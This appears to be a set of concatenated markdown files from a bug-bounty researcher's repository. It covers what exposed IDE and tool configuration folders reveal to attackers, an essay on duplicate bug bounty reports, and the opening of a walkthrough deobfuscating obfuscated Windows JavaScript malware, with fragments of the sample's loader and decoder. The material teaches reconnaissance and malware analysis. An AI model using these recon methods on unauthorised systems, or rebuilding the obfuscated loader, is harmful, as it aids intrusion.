All nodes in _component name="FileEditorManager"_ contains all files and their relative paths (to project's root directory). Simply saying - it's just XML-wrapped result of Bash command _ls_ executed in main project folder :)

If you take a closer look at every _component_ node, you'll find information about used control version system, like in this example:

```xml
  <component name="Git.Settings">
    <option name="UPDATE_TYPE" value="MERGE" />
    <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
  </component>
```

Also, there are information about commits and other tasks executed on project files, in node _component name="TaskManager"_:

```xml
(...)
    <task id="LOCAL-00211" summary="change WebSocket port to 1099">
      <created>1436206418000</created>
      <option name="number" value="00211" />
      <option name="project" value="LOCAL" />
      <updated>1436206418000</updated>
    </task>
(...)
```

Another interesting thing might be changes history, stored in _component name="ChangeListManager"_ node:

```xml
	<component name="ChangeListManager">
		(...)
		<change type="DELETED" beforePath="$PROJECT_DIR$/chat/node_modules/socket.io/node_modules/socket.io-adapter/node_modules/debug/Makefile" afterPath="" />
		(...)
	</component>
```

as well as in _component name="editorHistoryManager"_ node:

```xml
(...)
    <entry file="file://$PROJECT_DIR$/public_html/vendor/angular/angular.js">
      <provider selected="true" editor-type-id="text-editor">
        <state vertical-scroll-proportion="0.0">
          <caret line="3233" column="29" selection-start-line="3233" selection-start-column="29" selection-end-line="3233" selection-end-column="29" />
        </state>
      </provider>
    </entry>
(...)

```

If developer used to manage database with integrated DB manager, there are another very interesting files: _dataSources.ids_  where you can find databases structure, _dataSource.xml_, _dataSources.xml_, _dataSources.local.xml_ and _dbnavigator.xml_ contains example information:

```xml
        <database>
          <name value="database_name" />
          <description value="" />
          <database-type value="MYSQL" />
          <config-type value="BASIC" />
          <database-version value="5.7" />
          <driver-source value="BUILTIN" />
          <driver-library value="" />
          <driver value="" />
          <host value="localhost" />
          <port value="3306" />
          <database value="mywebapp" />
          <url-type value="DATABASE" />
          <os-authentication value="false" />
          <empty-password value="false" />
          <user value="root" />
          <password value="cm9vdA==" />   <!-- yes, this is password 'root' after Base64 decode :) -->
        </database>
```

or even more, like _dataSources.local.xml_:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="dataSourceStorageLocal">
    <data-source name="MySQL - mywebapp@localhost" uuid="8681098b-fc96-4258-8b4f-bfbd00012e2b">
      <secret-storage>master_key</secret-storage>
      <user-name>root</user-name>
      <schema-pattern>mywebapp.*</schema-pattern>
      <default-schemas>mywebapp.*</default-schemas>
    </data-source>
  </component>
</project>

```

Everything depends on project itself, used IDE plugins (like debugger, source version control or DB manager). In general, it is worth to take a look around and investigate every _component_ node.


As you can see, this is very interesting source of information. I suggest you to download any JetBrains IDE (they offer 30 days trials of almost every product, even more - you can download IntelliJ Idea Community or PyCharm Community and use it for free), then create sample project, add some folders and files, try to manage Git or SVN, create sample database connection and play around with Database Manager - and then dig into _.idea/_ folder to see what you can find there.


## NetBeans IDE


NetBeans (https://netbeans.org/) is another very popular, free IDE for Java, C/C++, PHP, HTML5 and JavaScript development. Currently supported (and owned) by Oracle, NetBeans becomes an official IDE for Java applications and it's absolutely free and open source.

NetBeans, as JetBrains IDEs, creates its own folder in project's root folder, contains all project settings - _nbproject/_

NetBeans is not as verbose as IntelliJ, PHPStorm or WebStorm, but you can still find some interesting information, which might be helpful when you are looking for particular attack vector against vulnerable web application. _project.xml_ is a good point to start investigating NetBeans project configuration.


![NetBeans project configuration](assets/nb_tree.png)


## ActiveState Komodo IDE

Unfortunately, Komodo IDE does not provide any information about project, the only file I've found in directory with project files was short XML file with content below:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- Komodo Project File - DO NOT EDIT -->
<project id="6a2f24b2-0c3d-f44c-bf66-f4341c507a30" kpf_version="5" name="bwapp.komodoproject">
<preference-set idref="6a2f24b2-0c3d-f44c-bf66-f4341c507a30" id="project" preftype="project">
</preference-set>
</project>
```

Filename is created using simple patter: project name, then dot, then 'komodoproject' postfix:

```bash
$ ls -l | grep komodo
-rw-r--r--   1 bl4de  staff    300 Feb  4 23:19 bwapp.komodoproject
```

All project information Komodo IDE stores in folders not accessible from web server - as far as you don't find Local File Include vulnerability, of course - but if you find LFI, I don't think you will have to find Komodo project configuration file anymore ;)


# Miscellaneous developer tools configuration files


There's a lot of configuration files of additional developer tools, which names mostly start with dot and contain a lot of information about used technologies, libraries, some directories not available directly from the browser or even not detectable by tools like DirBuster (http://sourceforge.net/projects/dirbuster/).

Some examples of these tools are _npm_ (https://www.npmjs.com/), linters for JavaScript, like ESlint (http://eslint.org/), Bower package manager (http://bower.io/) and many others.

Let's take a look at sample _bower.json_ file, which contains configuration for Bower and contains list of packages used in web application (frontend side):

```bash
{
  "name": "testapp",
  "version": "2.1.0",
  "authors": [
    "Rafal 'bl4de' Janicki <bloorq@gmail.com>"
  ],
  "description": "test application",
  "main": "index.html",
  "moduleType": [
    "globals"
  ],
  "license": "MIT",
  "dependencies": {
    "angular": "1.4",
    "pure": "~0.5.0",
    "angular-route": "~1.2.26",
    "angular-ui-router": "~0.2.11",
    "angular-bootstrap-datetimepicker": "latest",
    "angular-translate": "~2.6.1"
  },
  "devDependencies": {}
}

```
Maybe more interesting from security point of view is similar file for _Node.js_ or _io.js_ backend application - _package.json_ (if you find the way to read this file from web server, by for example Local File Include error - see https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion for more information about LFI).
As it is a list of server side details - used packages, like database connectors, middleware components and so on - this file could contains a lot of valuable information about potential vulnerable software.

Sample _package.json_ shows, that there's MySQL database used (probably) and some client-server communication via WebSockets:

```bash
{
  "name": "Test application server dependencies",
  "version": "1.0.0",
  "author": "bl4de",
  "dependencies": {
    "socket.io": "^1.3.5",
    "mysql": "^2.9.0"
  }
}
```

There are also files like _.bowerrc_, _.eslintrc_, _.jshintrc_ and similar. As they not contain very sensitive information, there's always a chance that you can find some details about web application architecture, used libraries and/or frameworks, or even some valuable information put in comments. It's always worth to look into if you found them during reconnaissance phase.


# Summary

It is always worth to check if one of mentioned folder exists on the web server. Git repository is just a disaster, as it allows to download source code of web application, as well as IntelliJ IDE project configuration folder.	 If you are using automated scanners (like DirBuster or similar) it's worth to check if those folders already exists in your dictionary files and add them if they don't.

Happy Hacking! :)

# Recommended tools

Here's a list of tools which may help discover hidden content

### BFAC by @mazen160

BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. 

An absolute amazing tool to discover backup files created and maintained by Mazin Ahmed.


https://github.com/mazen160/bfac










================================================
FILE: how_to_deal_with_dupes/hot_to_deal_with_dupes.md
================================================
## How to deal with duplicates (and start to like them, with a little help of Jennifer Lawrence ;) )

### Intro

If you are Bug Bounty Hunter, you know that feeling, when your report is marked as 'Duplicate'. This moment is like 4th place in the race - you were so close to the podium. So close to Gold, Silver or Bronze. But you've finished with nothing and the only thing left to do for you is to watch medal ceremony from tribune. And cry.

In bug bounty programs you compete against other hunters in hunting for bugs. Two biggest and most popular bug bounty platforms (HackerOne and Bugcrowd) maintain programs for their clients and allows you to send to those programs something called 'Report' - which is description of security issue you have found with all required information about your finding (what kind of bug, where did you find it, how to reproduce it and, if you know how to do this - how to mitigate it).

Program can accept your report, if it's valid, or rejects one if bug you found is not valid, program maintainers can't reproduce it or you found this bug in resource which is 'Out of scope' ('Out of scope' is the way programs treat particular types of vulnerabilities as not potential security issues, or marks resources like web application or server as something you should not look for bugs there). Typical examples of out of scope issues are CSRF on logout, self XSS with no security impact or lack of specific, security related HTTP headers in server's response.

If you send reports, which are defined as 'Out of scope', those reports likely will end up as 'Not applicable', which has some consequences for researchers (depends on the platform), including loosing reputation points or even disqualification from the program.

If your report is correct (vulnerability you have found exists, you have prepared report with all required information, detailed step-by-step Proof of Concept, is reproducible by the program maintainers and has security impact) - your report will be triaged and resolved. You will gain Reputation points, maybe some nice swag and (in monetary programs) finally get the bounty, which is all what bug bounty hunting is about, right? :)

### 'XXX closed the report and changed the status to Duplicate'  :(

But there is one, very specific situation, when your report is valid (thus, it can't be rejected as 'Not applicable'), you have prepared the best PoC you could, issue is definitely in scope and has significant security impact - in general, everything's going fine and you're already starting to count money you will get. You get notification, your heart starts to beat faster and faster, you open your mailbox and...

![dupe](dupe1.png)

Ouch :/

4th place. No medal. You were good, but not fast enough. 

The worst feeling bug bounty hunter can feel.

![dupe](empty.gif)

If you know that feeling - don't worry, been there, done that. Nobody likes duplicates (or 'dupes' like some researchers call them). Getting duplicates constantly, if you're participating in public programs and compete against hundreds of other researchers is a routine. Duplicates also are nothing special in private, invite-only programs, where there are not as many researchers, but their level of knowledge and skills allow them to find most of low hanging fruits and not-so-low hanging fruits as well very quickly.

This can be very frustrating and demotivates you from hunting. You're starting to think if all your effort you put in finding the bug you've get dupe for is worth all energy you've put in.

The good news is: yes, it is worth all that energy. Every single second you have spent on bug and report. And here's why.


### Why duplicates aren't that bad or even why they are actually pretty good - for you.

Let's assume issue you have found in private program you have been just invited to and ended up with 'Duplicate'. It's RCE (Remote Code Execution) in web application written in Java, run on Tomcat application server in internal network. You have found this issue by exploiting template injection in JSP (Java Server Page) file along with SSRF (Server-Side Request Forgery). 

Your reaction when you see your report is a duplicate is obvious - anger mixed with disappointment. Something what Katniss Everdeen could feel when she was presenting her skills as District 12 tribute, but sponsors did not really care:

![thankyou](thankyou.gif)


But hold on there for a second. It's not Hunger Games :)

First thing - ask yourself what you had to do to find this issue. Let's get through, step by step, and see what you've could learn from this duplicate:

#### You had to find out, what software is running on this server.

This requires some recon to be done - maybe basic banner grabbing, maybe something little bit more sophisticated, like port scanning with nmap and -sV option set. You had to use some tools - like netcat, nmap, maybe nikto. Some of those tools might be pretty new for you, or with some of them you are not very familiar and you needed to 'man' them a little bit first.

#### You had to figure out how website is build

Did you spot JSESSIONID in cookies indicates that this is Java application? Maybe there was HTTP header set with JSP string in it? Maybe you triggered an error with 404 Not Found standard Tomcat response?

#### You had to actually spot that user input is reflected in JSP file

That was it, right? You figured out that one of user inputs is reflected in HTML output and you realized it has to be processed by the server in some way? How long it took you to craft working exploit and see response from your command you have sent to the server, like 'whoami' or 'uname -a'? How many blog posts you have to read, like this one for example:

https://blog.netspi.com/hacking-with-jsp-shells/


#### Finally, you had to figure out that there is request sent to that internal server, which leads directly to SSRF

The input from JSP file is used in request sent to internal server, behind the firewall. This server is unaccesible form outside, but this particular injection you have just found in JSP file allows you to spot that response comes from something hidden deeper in program's network. If SSRF was something new for you (let's assume that it is true) - an enormous effort had to be put from you to exploit this and turn into fully exploitable RCE. Hours, if not days spent on reading, searching, looking in Hacktivity for similar reports to find out how it can be done.

#### Last, but not least - you had to write report and put detailed Proof of Concept there

Write a good report is also a part of the whole process (IMHO it's one of the hardest steps). With every report written - you gain new skills, you actually __learn__ how to describe issue you've just found in the way people from the program can understand.

It takes a lot of time and a lot of effort. It's not straightforward, it's not just to fill out the template. Every report (if it's good) is unique, like vulnerability you found. And the way to discover the vulnerability and exploit it, especially more severe like RCE, is unique as well.

And this is what makes every duplicate a good thing:

- it forces you to __learn__. __A lot__. With every bug you found, with every new report you write - your knowledge and skills grow up. __Practice makes the master__. No other words fit here better than this old quote.

- if you exploit something in completely new stack for you, __you always win__. You have to master new tools and techniques. Every stack requires different approach and methods to exploit the same category of vulnerabilities. Remote Code Execution exploitation in LAMP (Linux/Apache/MySQL/PHP) stack application is totally different than exploiting the same issue in Node.js or Java application

- you __learn new programming languages__. To be able to exploit RCE in application you have no previous experience with, it requires from you at least basic understanding of language syntax, encoding it uses, how to get readable output - all those things which makes your exploit actually working

- it is very common that you end up with duplicate only to realize that there is another vulnerability right beside the one you have just found. RCE is duplicate? Maybe there is Stored XSS in the same screen, if application does not sanitize user input correctly? Maybe you have just found a way to bypass WAF (Web Application Firewall) because of syntax trick you have just used and it allows you to exploit XSS you couldn't exploit earlier due to WAF?

Those were technical things. But there are other as well, maybe even more important if you are going to dive into bug bounty and makes it your lifestyle:

- you know that __you can find very severe vulnerabilities__. You are getting more self-confident. You weren't first, but you need to realize __it does not matter__ really. You could not know that someone else just found the same bug. 

There is the best summary of this, posted on Twitter by @abhijeth:

<img src="tweet1.png" width="480px"/>


source:https://twitter.com/abhijeth/status/915747406938963968


__Bug was there and you have found it__, exploit it and gain remote code execution in something you have no idea how it works earlier. Remember that bug bounty hunting is almost always a 'black box' in penetration testing methodology - that means you have no idea what's under the hood until you actually dig into.

It's not your fault when you end up with duplicate. Remember - there will be always someone better than you  (just look on the Leaderboard and compare your position and number of bugs found :) ). But if you can find very, very severe bugs in the same fashion like @Mr Hack, @meals, @Geekboy, @mongo, @yappare, @zseano or @mlitchfield - nothing can stop you from heading to the Top!!!


![yeah](ohyeah.gif)


- it's always good to win. How to deal with defeat is much harder to learn. Duplicates can teach you persistence, patience and something which I did not realized until I found valid, triagged and resolved later bug in the same program I've found duplicate couple of days earlier - getting up after you have felt down (mentally ;) ) It's all about __don't giving up__.

Don't think in short term - 'Oh God, it's a dupe! I'm doomed :('. Think in the long term. For every duplicate you get, there are (or will be) two, three, five or ten valid reports. Duplicates are, from their nature, impossible to omit. __Always remember you are not the only one hunting for bugs__. This is especially important in most popular, public programs out there like Yahoo, General Motors, Uber, Shopify or VK.com.

Just look at the numbers of bugs found in those programs. Hundreds, even thousands (like Yahoo). How many of them were accompanied with five, ten or twenty duplicates? Many. It's inevitable.

Yes, dupes are a part of bug bounties. Hunt with this in mind.

![cool](cool.gif)


### How to avoid duplicates. If it's even possible.

Short answer - no, it's not possible due to all reasons I've already explained earlier. But there are some simple methods you can use to at least try to avoid obvious dupes (trying is good, always remember Offensive Security motto: __Try Harder!__):

- if you are working on new program (let's say in the first 48 hours after program went out public) - any __low hanging fruit__ like Reflected XSS in 'Search' input, Open Redirect in URL, hardcoded credentials in HTML or JavaScript source, SQL Injection on ID parameter in URL or Local File Include in something like _index.php?include=about/careers.php_ are already reported if you did not spot them in first 5 minutes of program life.

Deal with this. New public program is the most desired thing on any bug bounty platform nowadays. There are roughly five to ten thousands active researchers on HackerOne and probably on Bugcrowd as well - from the other point of view public programs don't start very often.

For guys without wide choice from private programs to work on - it's the only way to gain Reputation (I was starting in exactly the same way). So there will be hundreds of them there already. 

Chances that you will be first to spot low hanging fruit are very small. Tiny little one.

- if public programs are the only option for you for now, try to find one with as wide scope as possible

Start from looking at Hacktivity (feature on HackerOne which allows to see all resolved reports, many of them with full disclosures) in such program. What types of bugs are the most popular? Which services are most attacked? How many bugs were resolved so far? How many researchers were revarded? When the last bugs were disclosed?

You should look for programs where:

- scope is wide as mentioned earlier - the best examples for me are so far Yahoo and __General Motors__. Especially second one looks interesting, because literally __everything__ is in scope. I was able to report the weirdest issues I was able to spot, some of them with almost no or very little security impact. Every report I've sent to GM program was triaged and GM Security Team never left any of vulnerability I've found not triaged or without any response.

Another worth to mention program with very wide scope is __US Departament of Defence__ bug bounty program available on HackerOne platform. This program has very well defined scope, without any exclusions:

```
Any public-facing website owned, operated, or controlled by DoD, including web applications hosted on those sites.
```



The result is that for 29 reports I've sent to GM program so far, only 7 were not fully resolved - including __five of them__ were actually duplicates (plus two closed as 'Informative' without any security impact for GM and Reputation for me). Only 5 dupes in 29 reports in total, in public program which runs for two years and has about one hundred hunters involved so far is quite good result I think.

- there are many different categories of reported issues

If program scope contains only one target and almost all reports are Reflected XSS - if you found one, chance that this will be duplicate is bigger than when there are various types of vulnerabilities, because that means the target is pretty vulnerable and not well developed. If there are many vulnerabilities based on lack of input validation, both on client and server side - try to focus on something more severe.

- if program is very active and there were reports resolved in last couple of days - probably is very popular and many bugs are found on daily basis

That means only one thing - getting duplicate is more likely here than in program which has last resolved reports dated in weeks or even months. In that case this could mean targets in scope are pretty hard to hack, thus has not so many low hanging fruits, requires more work involved to spot vulnerability and vulnerabilities are not that easy to exploit due to WAFs, sanitization of user input or stack used to build - it can be something not as popular as LAMP or Ruby on Rails (like Go - I was able to find only one web application written with Go in programs I am dealing with).

- if you have software developer background like me - maybe try to focus on programs with open sourced codebase (like my favourite concrete5, where I hold 2nd position with 12 resolved reports and 4 duplicates)There are not as many researchers looking for issues in such programs by analyzing source code.

When you have source code in front of your eyes, build with language(s) you are familiar with for years and you know what to look for - chances that you will find something really severe are very high. Also, there are many vulnerabilities which are almost impossible to find in traditional, black-boxed hunting based on fuzzing with common payloads, like nuances in business logic which allows to gain privillege escalation or get code execution because of some old, hidden functionality or that one weird 'if' condition which is true only for someone with username 'JenniferL' ;)


### Let duplicates to become your best friends!

![friends](friends.gif)

Duplicates are good. Try to like them for all that knowledge you gain from them. They won't harm your Reputation as much as Informative or Not applicable. The last ones is something you have to avoid __always__. It's actually pretty easy:

- read the scope, very carefully.

It's the easiest part. 'Out of scope' means out of scope. Don't even try to report anything shich is included in 'Out of scope' section of program description.

There are some vulnerabilities you maybe found in some resource marked as out of scope but you believe it can hurt program very badly. In such case - try to contact program maintainers directly and ask them if they will consider your finding as valid and will accept it. If yes - don't forget to mention about this in your report. Best thing is to attach mail communication with program team member, where there is clear statement that program will accept your submission. The person you inform about it might not be the same which will investigate your report and it's better (and saves time on both sides and avoid unnecessary closing and reopening report several times) to keep things clear from the beginning.

Besides this one exception - __never, ever report anything which is out of scope__. Just don't. It's a golden rule of your good reputation on bug bounty program.

If you won't follow this rule - you will end up with negative Signal and your reputation will go down very quickly, which in fact ruins all your chances for any invitation to private program in the nearest future.

Last, but not least - every dupe adds 2 points to your Reputation (on HackerOne platform) when original report gets resolved. It's not 7 points as for resolved one, but still something better than 0, isn't it? :)

Now, let's get into some metric details related to duplicated reports on Bugcrowd and HackerOne.

### Bugcrowd Bounty Platform Metrics related to Duplicates (by @jhaddix)

Another way to look at Duplicates optimistically is that they offer a newer bug hunter some opportunity to receive private program invites. The criteria for Bugcrowd's invites are as follows:

![privprogs](privprogs.png)

In this system, duplicates do NOT impact your average submission priority so if a researcher reports two issues: one an accepted :P1: and another duplicate :P1: their average submission priority is still 1.0.  

The standard points value of duplicates is as follows:

```
accepted: {
      p1: 40,
      p2: 20,
      p3: 10,
      p4: 5
    },
    duplicate: {
      p1: 10,
      p2: 5,
      p3: 2,
      p4: 1
    },
    rejected: {
      not_applicable: 0,
      not_reproducible: -1,
      out_of_scope: -1,
      wont_fix: 0
    }
```

Duplicates are definitely still benefiting bug hunters! As you accrue points and reputation you are bound to get more private program invites!


![haters](haters.gif)


### HackerOne Metrics related to Duplicates.

HackerOne reputation system defines that every duplicate report is worth 2 Reputation points, no matter of severity or how many reputation points original report gets. Based on this, you shoud be aware of negative impact of duplicates on your Signal Metric. Signal (in HackerOne terminology) is an average Reputation points gained by report (without additional points gained for monetary bounties).

If you are sending only valid reports, your reports are first every time and triaged and resolved - your Signal will be no more or no less than 7.00. If you are able to keep that Signal all the time - you're doing brilliant job there!


![happy](happy.gif)


Unfortunately, it's not possible in the long term and duplicates are one of the reason of this. But no worries, having Signal like 4.50 or 5.20 is perfectly fine. As long as your Signal won't fell down to -2.34 for example, because that means you're sending a lot of 'Not applicable' reports, which costs you literaly minus five Reputation points.

So even if duplicates harms you from time to time - the good news is they actually increases your Reputation and it's not possible to end up with negative Reputation. 


Better this than nothing, right ;) ?  


![happy](why.gif)



### Final words

At the moment I'm writting these words, I have 63 reports in total (closed and triaged) where 13 of them are duplicates. But even though they cost me 65 points of Reputation less (13 * 2 instead of 13 * 7) - I've learnt a lot from them. In my dupes there are reports including vulnerabilities like:

- time-based SQL Injection in ASP.NET+MSSQL application (I was not very good at exploiting this stack, so it was good lesson)
- another SQL Injection in ASP.NET application (yeah, it seems I am not very lucky with ASP stack ;) ) - again, it requires from me a lot of work to exploit this one as well
- Stored XSS (couple of them in various programs)
- Reflected XSS including two found in 'Search' features (one I've found in Starbucks, about an hour after it went public - classical low hanging fruit found by someone probably in first minutes, it was so obvious that it was impossible to get this not duplicated after the whole hour :D )

I can't even say how much time I've spent on all of them in total, how many blog posts I've read. For sure my skills in writting custom tools and exploits in Python were improved. I have to read almost every whitepaper about exploiting SQL Injections in ASP.NET+MSSQL applications available in the whole Internet (I'm pretty familiar with this right now and it will be much easier for me to exploit such vulnerabilities in the future). And I don't know how many new XSS payloads I've used, including reading probably all posts on @Brute's blog (thanks Brute!)


I hope you will look at every single duplicate you'll get in the future in different way, as I've used to. Of course, I wish you not too many of them! But getting duplicates is a part of being Bug Bounty Hunter, like being hit in the face is pretty normal for every boxer in the world :)


Now, tell me, duplicates aren't that bad as you might think, are they?


![uhm](uhm.gif)


:)))

__Kudos for Jason Haddix (@jhaddix) from Bugcrowd for adding information about duplicates in Bugcrowd platform.__

Happy Hunting!

bl4de


================================================
FILE: javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md
================================================
# Simple JavaScript malware code deobfuscation walkthrough


__WARNING! Files ```do_not_run.js``` and ```do_not_run_deobfuscated.js``` contains Windows-targeted malware written in JavaScript and prepared to run with Windows Script Host (WSH) engine and can potentially harm your machine if you'll try to run them directly.__

__As I do not have Windows machine and did not test it on any Windows version, I can't give any warranty those files are safe to run on Windows. If you will decide to run them, it's up to you.__

---

## Table of contents
- [First look](#first-look)
- [Entry point - IIFE](#entry-point---iife)
- [Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method](#basic-obfuscation-methods---expressions-comma-operator-parseint-and-tostring-method)
- [Getting function constructor](#getting-function-constructor)
- [Logical operators tips and tricks](#logical-operators-tips-and-tricks)
- [Summary](#summary)
	

A couple of days ago my colleague found a piece of malicious JavaScript on his Windows machine. Luckily, this code did not run and did not harm his system.

I decided to take a look at it and go through the code. What I've found were quite simple, but still interesting methods to obfuscate JavaScript code. I'd like to explain some of them as they base on some JavaScript less known quirks - they still can be found in documentation, however in production code we do not use it very often.

This writeup is intended for beginner JavaScript developers and/or malware analysis. I will explain everything while doing code deobfuscation step by step.

## First look

If you open file ```do_not_run.js``` from this repository (it contains legacy malware code) in text editor (I __strongly recommend you not to run it if you're on Windows machine__ :-) ) - you'll see a big mess, hard to read, hard to figure out what's going on - but it's still valid and working JavaScript code.

How it's even possible?

## Entry point - IIFE

Everything starts from top-level IIFE (Immediately Invoked Function Expression). This is a way to run function in JavaScript without calling it directly.

Consider example:

```javascript
function hello(message) {
	console.log(message)
}
```

If you try to run this code, nothing will happen. To make it work, you have to call function ```hello()``` passing some message as an argument:

```javascript
function hello(message) {
	console.log(message)
}

hello('This is test')
```

Now, you should be able to see ```This is test``` message displayed in your browser (or Node) console.

Let's make IIFE from this code:

```javascript
(function hello(message) {
	console.log(message)
})('This is test')
```

And some magic happen - even without calling ```hello()``` function, this piece of code works. How it's possible?

* parenthesis around function definition makes a valid JavaScript expression from it. Expression is the simplest piece of code which returns a value (like ```2+2``` which is also valid JavaScript expression).
* parenthesis with ```This is test``` __runs__ the function passing an argument to it. Technically, ```(fn(x){})(x)``` is equivalent of ```fn(x)``` definition and call in one.

---

IIFE recommended read

https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md#invoking-function-expressions-immediately

---


In our malware sample we have similar call:


```javascript
(function(quhuvu6) {

	// ...
	
}("41553a304f0b442551284206" + "672651014d1e1a60127" + ...
```


This causes malware runs on its own; passing some very, very long ASCII string as an argument for IIFE. Then, first line inside this function is run:

```javascript
var defiq = cicuza(quhuvu6);
```

The result saved in variable ```defiq``` is an array of decimal values, with about 9000 elements. Function, which transforms ASCII string into this array uses couple of tricks, which now we'll analyze in details.


## Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method

First, take a look at ```cicuza()``` function, before we'll go through and simplify it to more clean and readable version:

```javascript
function cicuza(syhri) {
        var fahomyfo = [];
        for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
            fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
        }
        return fahomyfo;
    };
    
```

First step - let's rename ```fahomyfo``` to something meaningful. Names like this are very common in malware - it's just some way to hide real purpose of each variable or function.

In ```cicuza()``` variable ```fahomyfo``` is declared as an array and then, after some logic in ```for``` loop - returned as a result.
So let's name it ```result```:

```javascript
function cicuza(syhri) {
        var result = [];
        for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
            result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
        }
        return result;
    };

```

Ok, now, let's see what's going on in ```for``` loop. First part is to define initial value of variable which determines start value:


```javascript
for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; ....
```

So, what ```parseInt((0).toString(36))``` does?

First call is ```(0).toString(36)``` - this code contains two chained operations:

* ```(0)``` is an expression, which value is number 0
* ```.toString(36)``` is a method which returns String representation of JavaScript object. Every object in JavaScript contains this method. When ```toString()``` is called on primitives, like 0 in this case, this primitive value is converted into object (of type Number), then toString() is called on this object and finally new primitive (string) is returned.

When ```toString()``` is called on Number object, additional argument can be passed. This argument is an integer between 2 and 36 specifying the base to use for representing numeric values. So, if ```toString(36)``` is called, argument represents base 36 - Hexatrigesimal system with digits represented by numbers 0-9 and letters a-z. Why it's important we'll see in further steps. Now, 
because 0 in any system is still 0, ```(0).toString(36)``` returns... 0.

* second call, ```parseInt(0)``` returns 0 as well. ```parseInt()``` is a function which parses any passed string into Integer and returns it or, if such conversion is not possible, returns ```NaN``` (which is JavaScript representation of ```Not a Number``` value). In this case, it's just 0 parsed to Integer - results in 0 itself.

Finally, ```parseInt((0).toString(36))``` is just a way to represent 0. But did you notice how many operations has to be done? This is what code obfuscation in JavaScript is all about - to make code as complicated as it's possible even if all we need is just 0.

Let's also rename ```segovmiw4``` into ```i```, which is popular name for iterator variable inside ```for``` loops.

So after our first analysis, our code becomes:

```javascript
function cicuza(syhri) {
        var result = [];
        for (var i = 0; i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; i += parseInt((2).toString(36))) {
            result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
        }
        return result;
    };

```

---

Number.toString() documentation

http://devdocs.io/javascript/global_objects/number/tostring

Hexatrigesimal system converter

http://www.calculand.com/unit-converter/zahlen.php?zs=36

---

Now, let's focus on what's exactly going on in this piece of code:

```javascript
i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")];
```

We know that ```syhri``` is string. As we know, we can read strings using indexes like in ```Array``` type. ```String[0]``` means first character of the string, ```String[1]``` second character and so on.
String has also a property ```length```, which represents its length in bytes.

But, what's this strange ```("F", "T", "H", "e")``` construction means? Figure it out:

* as I mentioned earlier, everything inside () is an expression. ```("F")``` is an expressions which value is char "F":

![Expression](assets/f.png)

* comma operator ```,``` separates values and only __the last one__ is used. Consider this example:

![Comma](assets/comma.png)

Now, combine those two things together:

![Expression](assets/expr.png)

What was assigned to ```value``` was the last char (comma operator) returned from () expression.

Back to our malware, we can read four first chars inside ```i < syhri[...]``` which are: ```l```, ```e```, ```n``` and ```g```. 
Fifth one is again construction explained earlier, but this time, ```toString(36)``` is called on Number 29 - so ```(29).toString(36)``` returns 29th cipher in Hexatrigesimal system, which is ```t```. Last one expression returns ```h``` and finally, after concatenation with ```+``` operator - we can found ```syhri["length"]``` as a result.

Also we can rename ```syhri``` into something friendly, like ```val``` and deobfuscate last part of ```for``` loop - ```parseInt((2).toString(36))``` is just 2.

Great, what we've got so far then?

```javascript
function cicuza(val) {
        var result = [];
        for (var i = 0; i < val["length"]; i += 2) {
            result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ));
        }
        return result;
    };

```

We simplify the whole ```for```. Now, it's time to do the same with the expression inside the loop.
 
Using the same methods, we find ```result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"]``` is equal to ```result["push"]```. What's that mean?

As we know, in JavaScript we can call any Object property, like methods, using a dot notation. For example, if we have an array named ```arr```, we can call its ```push()``` method using ```.```:

```javascript
let arr = [] // declare Array object named arr
arr.push(10) // adds 10 as a first element of Array arr
arr.push(20) // adds 20 as a second element
console.log(arr) // prints [10, 20]
```

But, we can also call __any__ method or Object property using ```[]``` operator. In this case, ```Object["propertyName"]``` is the same as ```Object.propertyName``` The code above can be simply rewrite into this one:

```javascript
let arr = []    // declare Array object named arr
arr["push"](10) // adds 10 as a first element of Array arr
arr["push"](20) // adds 20 as a second element
console.log(arr) // prints [10, 20]
```

So ```result["push"]``` adds value to ```result``` array. And this value comes from following expression:

```
